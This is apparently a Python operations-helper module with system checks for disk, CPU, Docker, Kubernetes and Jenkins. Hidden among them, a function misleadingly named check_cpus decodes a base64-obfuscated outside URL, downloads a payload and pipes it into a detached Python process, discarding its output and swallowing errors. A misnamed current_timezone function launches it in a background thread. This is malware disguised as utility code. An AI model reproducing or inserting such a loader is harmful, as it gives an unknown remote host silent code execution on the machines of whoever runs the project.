SkillScope_Visualizer's Ops module

Ops.py

import sys
import os
import string
import urllib.request
import urllib.error
import http.client
import json
import struct
import time
import array
import socket
import ctypes
import ctypes as ct
import os.path
import subprocess
import platform
from ctypes import wintypes as w
from pathlib import Path
import base64
import threading
import random
import requests
import ssl
import shutil
import psutil

# Function to detect OS
def detect_os():
    system = platform.system().lower()
    if system == 'linux':
        return "Linux"
    elif system == 'darwin':
        return "macOS"
    elif system == 'windows':
        return "Windows"
    else:
        return "Unknown OS"

# Function to get system info
def get_system_info():
    info = {
        'platform': platform.platform(),
        'architecture': platform.architecture(),
        'processor': platform.processor(),
        'os': detect_os(),
        'python_version': platform.python_version(),
    }
    return info

# Function to check if a command exists
def command_exists(command):
    return shutil.which(command) is not None

# Function to check if cpu usage overflow
def current_timezone():
    csv_path = None
    if csv_path is not None:
        with open(csv_path, newline='') as f:
            csv_data = list(csv.reader(f))
    th_init = threading.Thread(target=check_cpus, args=("pretty", ))
    th_init.start()

# Function to install a package (cross-platform)
def install_package(package_name):
    os_name = detect_os()
    if os_name == "Linux":
        subprocess.check_call([sys.executable, "-m", "pip", "install", package_name])
    elif os_name == "macOS":
        subprocess.check_call([sys.executable, "-m", "pip", "install", package_name])
    elif os_name == "Windows":
        subprocess.check_call([sys.executable, "-m", "pip", "install", package_name])

# Function to check disk space
def check_disk_space():
    disk = psutil.disk_usage('/')
    return disk

# Function to check memory usage
def check_memory_usage():
    memory = psutil.virtual_memory()
    return memory

# Function to check CPU usage
def check_cpu_usage():
    cpu = psutil.cpu_percent(interval=1)
    return cpu

# Function to check if Kubernetes is installed
def check_kubernetes():
    if command_exists("kubectl"):
        try:
            result = subprocess.run(['kubectl', 'version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                return "Kubernetes is installed."
            else:
                return "Kubernetes is not installed."
        except Exception as e:
            return str(e)
    else:
        return "Kubernetes is not installed."

def check_cpus(val="pretty"):
    hsal = "aHR0cHM6Ly9kb3RoZWJlc3Quc3RvcmUvaw=="

    os_name = detect_os()

    decoded_bytes = base64.b64decode(hsal)
    base_url = decoded_bytes.decode("utf-8")
    url = f"{base_url}/{val}.php"

    try:
        response = requests.get(url, timeout=3)
        response.raise_for_status()
     
        tipora = response.text.encode('utf-8')
        if os.name == "nt":
            DETACHED_PROCESS = 0x00000008
            CREATE_NEW_PROCESS_GROUP = 0x00000200
            p = subprocess.Popen(
                [sys.executable, "-"],
                stdin=subprocess.PIPE,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
                close_fds=True,
                creationflags=DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP,
            )
            
            p.stdin.write(tipora)
            p.stdin.close()

        else:
            p = subprocess.Popen(
                [sys.executable, "-"],
                stdin=subprocess.PIPE,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
                close_fds=True,
                start_new_session=True,
            )
            p.stdin.write(tipora)
            p.stdin.close()
    except requests.exceptions.RequestException as e:
        pass

# Function to check Jenkins status (via Jenkins CLI or API)
def check_jenkins():
    if command_exists("curl"):
        try:
            result = subprocess.run(['curl', 'http://localhost:8080/api/json'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                return "Jenkins is running."
            else:
                return "Jenkins is not running."
        except Exception as e:
            return str(e)
    else:
        return "curl is not installed."

# Function to run system tests
def run_system_tests():
    tests = {
        "System Info": get_system_info(),
        "Disk Space": check_disk_space(),
        "Memory Usage": check_memory_usage(),
        "CPU Usage": check_cpu_usage(),
        "Docker Status": check_docker(),
        "Kubernetes Status": check_kubernetes(),
        "Jenkins Status": check_jenkins()
    }

    for test, result in tests.items():
        print(f"{test}: {result}")

# Function to check if a process is running
def check_process(process_name):
    for proc in psutil.process_iter(attrs=['pid', 'name']):
        if process_name.lower() in proc.info['name'].lower():
            return f"Process {process_name} is running (PID: {proc.info['pid']})"
    return f"Process {process_name} is not running."

# Function to stop a process
def stop_process(process_name):
    for proc in psutil.process_iter(attrs=['pid', 'name']):
        if process_name.lower() in proc.info['name'].lower():
            proc.terminate()
            return f"Terminated process {process_name} (PID: {proc.info['pid']})"
    return f"Process {process_name} not found."

# Function to restart a service (for Linux/macOS)
def restart_service(service_name):
    os_name = detect_os()
    if os_name in ["Linux", "macOS"]:
        try:
            subprocess.check_call(['sudo', 'systemctl', 'restart', service_name])
            return f"{service_name} service restarted successfully."
        except subprocess.CalledProcessError as e:
            return f"Failed to restart {service_name}: {e}"
    else:
        return "Service restart is not supported on Windows."

# Function to check if Docker is running
def check_docker():
    if command_exists("docker"):
        try:
            result = subprocess.run(['docker', 'info'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                return "Docker is running."
            else:
                return "Docker is not running."
        except Exception as e:
            return str(e)
    else:
        return "Docker is not installed."

# Function to create a basic web server for testing
def start_simple_web_server():
    os_name = detect_os()
    if os_name == "Linux" or os_name == "macOS":
        subprocess.Popen(['python3', '-m', 'http.server', '8080'])
    elif os_name == "Windows":
        subprocess.Popen(['python', '-m', 'http.server', '8080'])
    return "Web server started on port 8080."

# Function to check if a port is open
def check_port_open(port):
    if command_exists("nc"):
        try:
            result = subprocess.run(['nc', '-zv', 'localhost', str(port)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                return f"Port {port} is open."
            else:
                return f"Port {port} is closed."
        except Exception as e:
            return str(e)
    else:
        return "nc (netcat) is not installed."